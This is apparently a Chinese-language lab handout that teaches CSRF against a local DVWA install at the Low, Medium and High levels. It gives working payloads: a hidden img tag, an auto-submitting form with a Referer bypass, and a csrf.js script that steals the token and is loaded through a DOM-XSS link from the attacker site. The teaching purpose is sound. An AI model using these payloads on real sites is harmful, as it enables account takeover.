一、实验目的1. 掌握跨站请求伪造漏洞的形成的原因或者条件2. 掌握跨站请求伪造漏洞的的利用方法3. 掌握跨站请求伪造漏洞的防范方法。二、实验原理CSRF 是攻击者利用用户的名义进行某些非法操作其是在用户已经与具有 CSRF 漏洞的 WEB 服务器已经建立了会话在不知情的情况下点击了诈骗的链 接而 WEB 应用程序没有对用户提交的请求进行验证导致执行了非法操作。三、实验环境同机模拟双机1. 受害站DVWA软件phpstudy2018地址示例http://127.0.0.1/dvwa/2. 攻击站恶意页面软件phpstudy_pro地址示例http://127.0.0.1:8888/核心思想虽然是同一台机器但端口不同浏览器会把它们视为不同源127.0.0.1 → 受害站127.0.0.1:8888 → 攻击站四、实验前准备1. 配置 phpstudy2018受害站启动 phpstudy2018服务将DVWA 解压到 phpstudy2018 网站根目录D:\phpStudy\PHPTutorial\WWW\dvwa并安装。2. 配置 phpstudy_pro攻击站启动 phpstudy_pro启动 Web 服务。3. 验证两个站点都能访问启动Burpsuite访问两个站点如果都能正常打开说明环境可用。受害站访问http://127.0.0.1/dvwa/攻击站访问http://127.0.0.1:8888/五、Low 级别 CSRF 实验1. 设置 DVWA 为 Low登录 DVWA 后点击左侧DVWA Security把安全级别改成Low提交保存。2. 观察正常修改密码请求进入CSRF在页面中输入新密码并再次确认输入例• New Password:123456• Confirm New Password:123456点击 Change观察地址栏显示http://127.0.0.1:8081/dvwa/vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange这说明• 修改密码使用 GET 请求• 参数名是o password_newo password_confo ChangeLow 级别下没有额外防护。单击Test Credentials进入密码验证页面输入用户名admin和修改后的密码测试3. 构造 Low 攻击页面启动vscode在攻击站根目录www中创建low.html内容如下!DOCTYPE htmlhtmlheadmeta charsetutf-8title领奖页面/title/headbodyh2恭喜你中奖了/h2p页面加载中请稍候……/pimg srchttp://127.0.0.1/dvwa/vulnerabilities/csrf/?password_newlowpasspassword_conflowpassChangeChange styledisplay:none;/body/html提交截图截图包含vscode中的文档目录和代码内容并对实验结果进行分析。项目目录www站点根目录下存在low.html和 DVWA 项目同级攻击文件部署在攻击站点网站目录代码实现利用隐藏img标签src属性直接拼接完整改密 GET 接口display:none;实现页面不可见、后台静默发送请求页面展示中奖诱导文案欺骗用户访问。4. 触发攻击确保当前浏览器里仍然保持 DVWA 登录状态然后访问攻击页http://127.0.0.1:8888/low.html页面加载时img 会自动向 DVWA 发起请求。浏览器会自动附带 DVWA 的 Cookie所以服务器会认为这是登录用户本人发起的操作。5. 验证结果单击Test Credentials进入密码验证页面输入用户名admin密码lowpass若显示Valid password for admin说明 Low 级别漏洞复现成功。若显示Wrong password for admin说明攻击无效可更换payload:!DOCTYPE htmlhtmlheadmeta charsetutf-8meta namereferrer contentunsafe-urltitle系统消息/title/headbodyh3正在进行安全检测.../h3form idcsrfForm actionhttp://127.0.0.1/dvwa/vulnerabilities/csrf/ methodGETinput typehidden namepassword_new valuelowpassinput typehidden namepassword_conf valuelowpassinput typehidden nameChange valueChange/formscriptdocument.getElementById(csrfForm).submit();/script/body/html再次测试成功后提交Burpsuite中修改密码的请求截图并对实验结果进行分析。一、Low 级别实验结果分析实验现象攻击页面使用 img 标签或自动提交表单访问改密接口保持 DVWA 登录状态访问127.0.0.1:8888/low.html后admin 账户密码成功修改为lowpass密码校验页面验证通过Burp 抓包可见跨域请求自动携带 DVWA 会话 Cookie。六、Medium 级别 CSRF 实验1. 设置 DVWA 为 Medium回到DVWA Security把安全级别设为Medium保存。2. Medium 级别的防护特点Medium 一般会增加对 Referer 的简单检查。它的逻辑常见形式是if (stripos($_SERVER[HTTP_REFERER], $_SERVER[SERVER_NAME]) ! false)3.构造 Medium 攻击页面创建medium.html内容如下!DOCTYPE htmlhtmlheadmeta charsetutf-8meta namereferrer contentunsafe-urltitle系统消息/title/headbodyh3正在进行安全检测.../h3form idcsrfForm actionhttp://127.0.0.1/dvwa/vulnerabilities/csrf/ methodGETinput typehidden namepassword_new valuemediumpassinput typehidden namepassword_conf valuemediumpassinput typehidden nameChange valueChange/formscriptdocument.getElementById(csrfForm).submit();/script/body/html4. 触发 Medium 攻击保持 DVWA 登录状态访问http://127.0.0.1:8888/medium.html若 DVWA 的 Medium 仅做弱 Referer 检查则该请求很可能成功。5. 验证结果单击Test Credentials进入密码验证页面输入用户名admin密码mediumpass测试成功后提交Burpsuite中修改密码的请求截图并对实验结果进行分析。第一次实验结果分析直接 medium.html 访问成功原因防护机制缺陷DVWA-Medium仅用stripos做子串模糊匹配只校验 Referer 里是否存在站点 IP 字符串不校验端口、完整域名路径。页面 meta 标签作用meta namereferrer contentunsafe-url保证浏览器完整携带 Referer 来源地址Referer 正常带出攻击页全链接没有丢失 IP 字段是攻击成功的辅助条件。实验结论Medium 的 Referer 子串校验方案天然存在漏洞同 IP、不同端口的 CSRF 请求可直接绕过防护初次访问即可完成密码篡改。修改攻击地址为本机ip:8888/medium.html再次测试查看是否成功。若不成功则将medium.html文件名修改为127.0.0.1.html。再次测试。再次测试成功后提交Burpsuite中修改密码的请求截图并对实验结果进行分析。第二次实验结果分析修改文件名 127.0.0.1.html现象将文件名改为127.0.0.1.htmlReferer 变为http://127.0.0.1:8888/127.0.0.1.htmlReferer 内重复出现目标 IP 字符串同样满足stripos匹配攻击依旧成功。对比总结第一次成功根源是同 IP 跨端口 模糊匹配校验Referer 自带目标 IP 字段第二次是另一种绕过思路文件名写入目标 IP即使跨网段 / 跨 IP 环境也能让 Referer 包含目标 IP 实现绕过。七、High 级别 CSRF 实验1. 受害机中设置 DVWA 为 High进入DVWA Security设置为High保存。2. 观察 High 页面差异进入 CSRF 页面后查看源码或用开发者工具检查表单。通常可以看到一个隐藏字段input typehidden nameuser_token valuexxxxxxxxxxxxxxxx这说明 High 已引入 CSRF Token 防护。3. 结合 XSS 读取 TokenToken 防御使得纯 CSRF 无法直接利用。需要配合同域 XSS 漏洞若攻击者能在 DVWA 同域下执行 JavaScript就可以请求 CSRF 页面、读取页面中的 user_token、携带 Token 发起修改密码请求。在攻击机根目录创建csrf.js文件内容为//第一步获取 CSRF 页面从中提取 user_tokenvar xhr1 new XMLHttpRequest();xhr1.onreadystatechange function() {if (xhr1.readyState 4 xhr1.status 200) {//解析 HTML提取 tokenvar parser new DOMParser();var doc parser.parseFromString(xhr1.responseText, text/html);var token doc.getElementsByName(user_token)[0].value;//第二步携带 token 发起修改密码请求var url http://127.0.0.1/dvwa/vulnerabilities/csrf/ ?password_newcsrf123password_confcsrf123 ChangeChangeuser_token token;var xhr2 new XMLHttpRequest();xhr2.open(GET, url, true);xhr2.withCredentials true;xhr2.send();}};xhr1.open(GET, http://127.0.0.1/dvwa/vulnerabilities/csrf/, true);xhr1.withCredentials true;xhr1.send();在受害机中进入xss(DOM)在地址栏中生成攻击链接并提交http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#defaultscript src”http://127.0.0.1:8888/csrf.js”/script4. 验证结果在受害机中进入CSRF单击Test Credentials进入密码验证页面输入用户名admin密码csrf123如果成功说明 High 级绕过成功。测试提交Burpsuite中修改密码的请求截图并对实验结果进行分析。三、High 级别实验结果分析实验现象分析单独使用 Low/Medium 的 CSRF 页面无法修改密码利用 DOM-XSS 引入远程csrf.js脚本JS 在 DVWA 同域环境运行自动抓取页面user_token并拼接参数提交密码成功修改为csrf123。Burp 数据包中改密请求携带合法随机 token 与会话 Cookie。